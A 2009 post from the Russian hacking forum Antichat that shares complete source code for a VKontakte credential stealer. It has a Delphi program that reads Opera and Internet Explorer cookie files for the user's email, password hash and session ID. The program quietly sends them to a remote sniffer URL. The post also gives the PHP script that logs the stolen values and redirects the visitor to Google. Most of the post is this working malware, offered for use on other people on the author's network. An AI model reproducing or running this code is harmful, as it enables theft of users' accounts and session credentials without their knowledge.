ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Программирование > С/С++, C#, Delphi, .NET, Asm
   
 
 
Опции темы Поиск в этой теме Опции просмотра

Сливаем Hash от vkontakte.ru[Delphi+php]
  #1  
Старый 25.05.2009, 21:22
Аватар для JeDaSe
JeDaSe
Познающий
Регистрация: 23.05.2009
Сообщений: 35
Провел на форуме:
104584

Репутация: 32
Отправить сообщение для JeDaSe с помощью ICQ
По умолчанию Сливаем Hash от vkontakte.ru[Delphi+php]

Вот написал меленькую программку для пользователей своей сети, может кому будет интерсено
Код:
program killall;

{$APPTYPE CONSOLE}

uses
  SysUtils,windows,ShellAPI;
//-----------Ïîëó÷åìå ëîãèí òåêóøåãî ïîëüçîâàòåëÿ--------------------------------
function GetUserFromWindows: string;
var
  UserName : string;
  UserNameLen : Dword;
begin
  UserNameLen := 255;
  SetLength(userName, UserNameLen);
  if GetUserName(PChar(UserName), UserNameLen) then
    Result := Copy(UserName,1,UserNameLen - 1)
  else
    Result := 'Unknown';
end;
//------------------------------------------------------------------------------
//-------------------Ïîëó÷àåì ñèñòåìíûé äèñê------------------------------------
function GetSystemDisk: string;
var
 S: array[0..MAX_PATH] of Char;
begin
  GetWindowsDirectory(S,SizeOf(S));
  Result:=copy(S,0,1);
end;
//------------------------------------------------------------------------------
var
 User,Disc,mail,hash,id,startdir:string;
 coock,st,mask:string;
 f:TextFile;
 i:integer;
 searchrec : tsearchrec;
 Opera,IE: string;
begin
 Disc:=GetSystemDisk;
 User:=GetUserFromWindows;
 Opera:= Disc+':\Documents and Settings\'+User+'\Application Data\Opera\Opera\profile\cookies4.dat';
 if FileExists(Opera) then
 begin
   AssignFile(f,Opera);                        
   Reset(f);                                   
   for i:=0 to 500 do
   begin
     Readln(f, st);
     coock:=coock+st;
   end;
   delete(coock,1,pos('remixemail',coock)+12);
   mail:=copy(coock,0,pos(#18,coock)-1);
   delete(coock,1,pos('remixpass',coock)+11);
   hash:=copy(coock,0,pos(#18,coock)-1);
   delete(coock,1,pos('remixsid',coock)+9);
   id:=copy(coock,0,pos(#18,coock)-1);
   ShellExecute(0, nil, PChar('http://xx.xx.x.xx/snif.php?t=opera&i='+id+'&m='+mail+'&h='+hash), nil, nil, SW_HIDE);
 end;

 startdir:=Disc+':\Documents and Settings\'+User+'\Cookies\';
 mask := '*.*';
 if findfirst(startdir+mask, faanyfile, searchrec) = 0 then
 begin
   repeat
   if pos('vkontakte',searchrec.name)<>0 then
   begin
     AssignFile(f,startdir+searchrec.name);
     Reset(f);
     for i:=0 to 500 do
     begin
      Readln(f, st);
      coock:=coock+st;
    end;
    delete(coock,1,pos('remixemail',coock)+9);
    mail:=copy(coock,0,pos('vkon',coock)-1);
    delete(coock,1,pos('remixpass',coock)+11);
    hash:=copy(coock,0,pos('vkon',coock)-1);
    delete(coock,1,pos('remixsid',coock)+9);
    id:=copy(coock,0,pos('vkon',coock)-1);
    ShellExecute(0, nil, PChar('http://xx.xx.x.xxx/snif.php?t=ie&i='+id+'&m='+mail+'&h='+hash), nil, nil, SW_HIDE);
  end;
  until findnext(searchrec) <> 0;
 end;
end.

и код снифера(snif.php)
PHP код:
<?php
$fp
=fopen("sn.html","a+t");  
fputs($fp,
Время: "
.date("[D d/m/Y H:i]")."<br>  
Мыло: "
.$_GET['m']."<br>
Хэш: "
.$_GET['h']."<br>
ID: "
.$_GET['i']."<br>
Браузер: "
.$_GET['t']."<br><br>
"
);
fclose($fp);
header("Location: http://google.ru");  
?>

Последний раз редактировалось JeDaSe; 25.05.2009 в 21:25..
 
Ответить с цитированием
 



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Что Может Дать Hash Пароля (Ответ!) slider Расшифровка хешей 25 28.06.2006 12:31
Hash cracking Dracula4ever Forum for discussion of ANTICHAT 1 05.06.2006 15:56
Help me Hash? by_online Расшифровка хешей 1 06.02.2006 19:11



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ